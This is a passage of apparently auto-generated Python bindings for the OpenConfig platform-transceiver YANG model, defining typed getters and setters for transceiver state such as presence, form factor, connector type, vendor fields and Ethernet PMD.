'oc-platform-types:FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-mode", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_present(self): """ Getter method for present, mapped from YANG variable /components/component/transceiver/state/present (enumeration) YANG Description: Indicates whether a transceiver is present in the specified client port. """ return self.__present def _set_present(self, v, load=False): """ Setter method for present, mapped from YANG variable /components/component/transceiver/state/present (enumeration) If this variable is read-only (config: false) in the source YANG file, then _set_present is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_present() directly. YANG Description: Indicates whether a transceiver is present in the specified client port. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRESENT': {}, 'NOT_PRESENT': {}},), is_leaf=True, yang_name="present", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='enumeration', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """present must be of a type compatible with enumeration""", 'defined-type': "openconfig-platform-transceiver:enumeration", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRESENT': {}, 'NOT_PRESENT': {}},), is_leaf=True, yang_name="present", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='enumeration', is_config=False)""", }) self.__present = t if hasattr(self, '_set'): self._set() def _unset_present(self): self.__present = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRESENT': {}, 'NOT_PRESENT': {}},), is_leaf=True, yang_name="present", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='enumeration', is_config=False) def _get_form_factor(self): """ Getter method for form_factor, mapped from YANG variable /components/component/transceiver/state/form_factor (identityref) YANG Description: Indicates the type of optical transceiver used on this port. If the client port is built into the device and not pluggable, then non-pluggable is the corresponding state. If a device port supports multiple form factors (e.g. QSFP28 and QSFP+, then the value of the transceiver installed shall be reported. If no transceiver is present, then the value of the highest rate form factor shall be reported (QSFP28, for example). """ return self.__form_factor def _set_form_factor(self, v, load=False): """ Setter method for form_factor, mapped from YANG variable /components/component/transceiver/state/form_factor (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_form_factor is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_form_factor() directly. YANG Description: Indicates the type of optical transceiver used on this port. If the client port is built into the device and not pluggable, then non-pluggable is the corresponding state. If a device port supports multiple form factors (e.g. QSFP28 and QSFP+, then the value of the transceiver installed shall be reported. If no transceiver is present, then the value of the highest rate form factor shall be reported (QSFP28, for example). """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """form_factor must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__form_factor = t if hasattr(self, '_set'): self._set() def _unset_form_factor(self): self.__form_factor = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_connector_type(self): """ Getter method for connector_type, mapped from YANG variable /components/component/transceiver/state/connector_type (identityref) YANG Description: Connector type used on this port """ return self.__connector_type def _set_connector_type(self, v, load=False): """ Setter method for connector_type, mapped from YANG variable /components/component/transceiver/state/connector_type (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_connector_type is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_connector_type() directly. YANG Description: Connector type used on this port """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="connector-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """connector_type must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="connector-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__connector_type = t if hasattr(self, '_set'): self._set() def _unset_connector_type(self): self.__connector_type = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="connector-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_vendor(self): """ Getter method for vendor, mapped from YANG variable /components/component/transceiver/state/vendor (string) YANG Description: Full name of transceiver vendor. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h) """ return self.__vendor def _set_vendor(self, v, load=False): """ Setter method for vendor, mapped from YANG variable /components/component/transceiver/state/vendor (string) If this variable is read-only (config: false) in the source YANG file, then _set_vendor is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_vendor() directly. YANG Description: Full name of transceiver vendor. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h) """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """vendor must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False)""", }) self.__vendor = t if hasattr(self, '_set'): self._set() def _unset_vendor(self): self.__vendor = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) def _get_vendor_part(self): """ Getter method for vendor_part, mapped from YANG variable /components/component/transceiver/state/vendor_part (string) YANG Description: Transceiver vendor's part number. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h). If part number is undefined, all 16 octets = 0h """ return self.__vendor_part def _set_vendor_part(self, v, load=False): """ Setter method for vendor_part, mapped from YANG variable /components/component/transceiver/state/vendor_part (string) If this variable is read-only (config: false) in the source YANG file, then _set_vendor_part is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_vendor_part() directly. YANG Description: Transceiver vendor's part number. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h). If part number is undefined, all 16 octets = 0h """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor-part", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """vendor_part must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor-part", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False)""", }) self.__vendor_part = t if hasattr(self, '_set'): self._set() def _unset_vendor_part(self): self.__vendor_part = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor-part", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) def _get_vendor_rev(self): """ Getter method for vendor_rev, mapped from YANG variable /components/component/transceiver/state/vendor_rev (string) YANG Description: Transceiver vendor's revision number. 2-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h) """ return self.__vendor_rev def _set_vendor_rev(self, v, load=False): """ Setter method for vendor_rev, mapped from YANG variable /components/component/transceiver/state/vendor_rev (string) If this variable is read-only (config: false) in the source YANG file, then _set_vendor_rev is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_vendor_rev() directly. YANG Description: Transceiver vendor's revision number. 2-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h) """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..2']}), is_leaf=True, yang_name="vendor-rev", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """vendor_rev must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..2']}), is_leaf=True, yang_name="vendor-rev", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False)""", }) self.__vendor_rev = t if hasattr(self, '_set'): self._set() def _unset_vendor_rev(self): self.__vendor_rev = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..2']}), is_leaf=True, yang_name="vendor-rev", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) def _get_ethernet_pmd(self): """ Getter method for ethernet_pmd, mapped from YANG variable /components/component/transceiver/state/ethernet_pmd (identityref) YANG Description: Ethernet PMD (physical medium dependent sublayer) that the transceiver supports. The SFF/QSFP MSAs have registers for this and CFP MSA has similar. """ return self.__ethernet_pmd def _set_ethernet_pmd(self, v, load=False): """ Setter method for ethernet_pmd, mapped from YANG variable /components/component/transceiver/state/ethernet_pmd (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_ethernet_pmd is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ethernet_pmd() directly. YANG Description: Ethernet PMD (physical medium dependent sublayer) that the transceiver supports. The SFF/QSFP MSAs have registers for this and CFP MSA has similar. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 